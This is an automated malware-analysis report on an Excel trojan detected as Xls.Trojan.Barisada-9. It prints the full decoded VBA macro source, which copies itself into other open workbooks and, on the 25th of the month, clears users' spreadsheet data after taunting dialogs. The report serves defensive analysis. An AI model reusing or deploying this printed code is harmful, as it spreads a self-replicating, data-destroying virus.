MALICIOUS
80
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The file is identified as malicious by ClamAV with the signature Xls.Trojan.Barisada-9. Static analysis revealed VBA macros within the document. The macro code attempts to display a series of dialog boxes with misleading questions and responses, and includes logic that could lead to file deletion, indicating a destructive or disruptive intent.
Heuristics 2
-
ClamAV: Xls.Trojan.Barisada-9 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Trojan.Barisada-9
-
VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4040 bytes |
SHA-256: 4a68a86ffae82629796a00b8b07661a1df4d657baa7770e49c171a2d7412b7a2 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_WindowDeactivate(ByVal Wn As Excel.Window)
Flag = False
For i = 1 To Workbooks.Count
eline = Workbooks(i).VBProject.VBComponents.Item("ThisWorkbook").CodeModule.CountOfLines
If eline <> 0 Then vcode = Workbooks(i).VBProject.VBComponents.Item("thisworkbook").CodeModule.Lines(1, eline)
For j = 1 To Workbooks(i).VBProject.VBComponents.Count
vcount = Workbooks(i).VBProject.VBComponents.Item(j).CodeModule.CountOfLines
If vcount = 0 Then Workbooks(i).VBProject.VBComponents.Item(j).CodeModule.AddFromString (vcode)
Next j: Next i
dday = Day(Now)
If dday = 25 Then Flag = True
If Flag = True Then
v1 = MsgBox("Question : Hyundai Unicorns left from Incheon, What do you think of it? " & vbCr & _
"Answer : Hyundai is SOB ", vbYesNo, "1st Qusetion")
If v1 = vbYes Then MsgBox "Good! You're pretty good guy!!", vbOKOnly, "Excellent!"
If v1 = vbNo Then
MsgBox "Oh! no, Next question is last time for you", vbOKOnly + vbCritical, "Wrong Answer"
v2 = MsgBox("We do not buy Hyundai's product, is it right?", vbYesNo, "If you have wrong answer, you will have punishment.")
If v2 = vbYes Then MsgBox "You got it!", vbOKOnly, "You have right answer"
If v2 = vbNo Then
MsgBox "Wrong Answer, Your file will be deleted!", vbOKOnly + vbCritical, "You are SOB, too."
For i = 1 To Workbooks.Count
For j = 1 To Workbooks(i).Sheets.Count
Workbooks(i).Sheets(i).Cells.Select
Selection.Clear
Next j: Next i:
End If
End If
End If
End Sub
Attribute VB_Name = "Sheet111"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_WindowDeactivate(ByVal Wn As Excel.Window)
Flag = False
For i = 1 To Workbooks.Count
eline = Workbooks(i).VBProject.VBComponents.Item("ThisWorkbook").CodeModule.CountOfLines
If eline <> 0 Then vcode = Workbooks(i).VBProject.VBComponents.Item("thisworkbook").CodeModule.Lines(1, eline)
For j = 1 To Workbooks(i).VBProject.VBComponents.Count
vcount = Workbooks(i).VBProject.VBComponents.Item(j).CodeModule.CountOfLines
If vcount = 0 Then Workbooks(i).VBProject.VBComponents.Item(j).CodeModule.AddFromString (vcode)
Next j: Next i
dday = Day(Now)
If dday = 25 Then Flag = True
If Flag = True Then
v1 = MsgBox("Question : Hyundai Unicorns left from Incheon, What do you think of it? " & vbCr & _
"Answer : Hyundai is SOB ", vbYesNo, "1st Qusetion")
If v1 = vbYes Then MsgBox "Good! You're pretty good guy!!", vbOKOnly, "Excellent!"
If v1 = vbNo Then
MsgBox "Oh! no, Next question is last time for you", vbOKOnly + vbCritical, "Wrong Answer"
v2 = MsgBox("We do not buy Hyundai's product, is it right?", vbYesNo, "If you have wrong answer, you will have punishment.")
If v2 = vbYes Then MsgBox "You got it!", vbOKOnly, "You have right answer"
If v2 = vbNo Then
MsgBox "Wrong Answer, Your file will be deleted!", vbOKOnly + vbCritical, "You are SOB, too."
For i = 1 To Workbooks.Count
For j = 1 To Workbooks(i).Sheets.Count
Workbooks(i).Sheets(i).Cells.Select
Selection.Clear
Next j: Next i:
End If
End If
End If
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.